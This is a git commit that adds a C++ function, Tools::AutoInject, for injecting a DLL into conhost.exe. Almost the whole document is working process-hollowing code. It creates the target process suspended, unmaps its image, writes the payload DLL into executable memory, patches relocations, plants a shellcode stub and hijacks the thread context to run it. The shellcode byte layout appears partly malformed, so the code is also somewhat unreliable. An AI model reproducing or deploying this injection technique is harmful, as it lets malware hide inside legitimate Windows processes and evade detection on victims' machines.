Working on autoinjection of dll into conhost.exe

This commit is contained in:
hellisabove
2023-07-04 02:44:22 +03:00
parent e99cfca22a
commit b021234380
27 changed files with 213 additions and 16 deletions
+162
View File
@@ -0,0 +1,162 @@
#include "tools.h"
#include <winternl.h>
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
DWORD ConvertVirtualAddressToRawAddress(DWORD virtual_address, LPVOID file) {
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER) file;
PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)((DWORD)file + dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
while (virtual_address > section->VirtualAddress + section->Misc.VirtualSize)
section++;
DWORD offset = virtual_address - section->VirtualAddress;
DWORD raw_address = offset + section->PointerToRawData;
return raw_address;
}
int Tools::AutoInject(LPSTR target, LPCSTR payload) {
LPSTARTUPINFOA startup_info = new STARTUPINFOA();
LPPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *process_basic_info = new PROCESS_BASIC_INFORMATION();
BOOL process_created = CreateProcessA(NULL, target, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, startup_info, process_info);
if (process_created == TRUE) {
HANDLE target_process = process_info->hProcess;
if (target_process != INVALID_HANDLE_VALUE) {
DWORD return_lenght = 0;
NtQueryInformationProcess(target_process, ProcessBasicInformation, process_basic_info, sizeof(PROCESS_BASIC_INFORMATION), &return_lenght);
DWORD image_base_offset = (DWORD)process_basic_info->PebBaseAddress + 8;
LPVOID destination_image_base = 0;
SIZE_T bytes_read = NULL;
BOOL process_read = ReadProcessMemory(target_process, (LPCVOID)image_base_offset, &destination_image_base, 4, &bytes_read);
if (process_read == TRUE && destination_image_base != ERROR) {
HANDLE dll_file = CreateFileA(payload, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
if (dll_file != INVALID_HANDLE_VALUE) {
DWORD dll_size = GetFileSize(dll_file, NULL);
LPDWORD file_bytes_read = 0;
LPVOID dll_buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
if (dll_buffer != ERROR) {
DWORD ss = 0;
BOOL dll_read = ReadFile(dll_file, dll_buffer, dll_size, &ss, NULL);
if (dll_read == TRUE) {
PIMAGE_DOS_HEADER dll_image_dos_header = (PIMAGE_DOS_HEADER)dll_buffer;
PIMAGE_NT_HEADERS dll_image_nt_headers = (PIMAGE_NT_HEADERS)((DWORD)dll_buffer + dll_image_dos_header->e_lfanew);
SIZE_T dll_image_size = dll_image_nt_headers->OptionalHeader.SizeOfImage;
NtUnmapViewOfSection unmap_section = (NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");
if (NT_SUCCESS(unmap_section(target_process, destination_image_base))) {
LPVOID new_destination_image_base = VirtualAllocEx(target_process, destination_image_base, dll_image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
destination_image_base = new_destination_image_base;
DWORD delta_image_base = (DWORD)destination_image_base - dll_image_nt_headers->OptionalHeader.ImageBase;
dll_image_nt_headers->OptionalHeader.ImageBase = (DWORD)destination_image_base;
WriteProcessMemory(target_process, new_destination_image_base, dll_buffer, dll_image_nt_headers->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER dll_image_section_header = (PIMAGE_SECTION_HEADER)((DWORD)dll_buffer + dll_image_dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER old_dll_section_header = dll_image_section_header;
for (int i = 0; i < dll_image_nt_headers->FileHeader.NumberOfSections; i++) {
PVOID destination_section_location = (PVOID)((DWORD)destination_image_base + dll_image_section_header->VirtualAddress);
PVOID source_section_location = (PVOID)((DWORD)dll_buffer + dll_image_section_header->PointerToRawData);
WriteProcessMemory(target_process, destination_section_location, source_section_location, dll_image_section_header->SizeOfRawData, NULL);
dll_image_section_header++;
}
// get FunEntry from exported function address
PIMAGE_EXPORT_DIRECTORY image_export_directory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dll_buffer + ConvertVirtualAddressToRawAddress((DWORD)dll_image_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, dll_buffer));
PDWORD pEAT = (DWORD*)((DWORD)dll_buffer + ConvertVirtualAddressToRawAddress(image_export_directory->AddressOfFunctions, dll_buffer));
//pEAT[0] - 1st exported function
//pEAT[1] - 2nd exported function
IMAGE_DATA_DIRECTORY relocation_table = dll_image_nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
dll_image_section_header = old_dll_section_header;
for (int x = 0; x < dll_image_nt_headers->FileHeader.NumberOfSections; x++) {
BYTE* reloc_section_name = (BYTE*)".reloc";
if (memcmp(dll_image_section_header->Name, reloc_section_name, 5) != 0) {
dll_image_section_header++;
continue;
}
DWORD source_relocation_table_raw = dll_image_section_header->PointerToRawData;
DWORD relocation_offset = 0;
while (relocation_offset < relocation_table.Size) {
PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)((DWORD)dll_buffer + source_relocation_table_raw + relocation_offset);
relocation_offset += sizeof(PBASE_RELOCATION_BLOCK);
DWORD relocation_counts = (relocation_block->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)((DWORD)dll_buffer + source_relocation_table_raw + relocation_offset);
for (DWORD a = 0; a < relocation_counts; a++) {
relocation_offset += sizeof(BASE_RELOCATION_ENTRY);
if (relocation_entries[a].Type == 0)
continue;
DWORD patched_address = relocation_block->PageAddress + relocation_entries[a].Offset;
DWORD patched_buffer = 0;
DWORD bytes_read = 0;
ReadProcessMemory(target_process, (LPCVOID)((DWORD)destination_image_base + patched_address), &patched_buffer, sizeof(DWORD), &bytes_read);
patched_buffer += delta_image_base;
WriteProcessMemory(target_process, (PVOID)((DWORD)destination_image_base + patched_address), &patched_buffer, sizeof(DWORD), file_bytes_read);
}
}
}
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(process_info->hThread, context);
// machine code -> opcodes
// code for exec DllMain when injected
BYTE code[] = {
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0x68, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0xB8, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0xFF, 0xE0 // jmp eax
};
*((PDWORD)(code + 1)) = 0; // 3rd param
*((PDWORD)(code + 6)) = 1; // 2nd param
*((PDWORD)(code + 11)) = (DWORD)destination_image_base; // 1st param
*((PDWORD)(code + 16)) = (DWORD)destination_image_base + pEAT[1];
*((PDWORD)(code + 21)) = (DWORD)destination_image_base + dll_image_nt_headers->OptionalHeader.AddressOfEntryPoint;
LPVOID address_buffer = VirtualAllocEx(target_process, NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL success = WriteProcessMemory(target_process, address_buffer, code, sizeof(code), NULL);
if (success == TRUE) {
context->Eax = (DWORD)address_buffer;
SetThreadContext(process_info->hThread, context);
ResumeThread(process_info->hThread);
}
return 0;
}
}
}
}
CloseHandle(dll_file);
}
}
CloseHandle(target_process);
}
}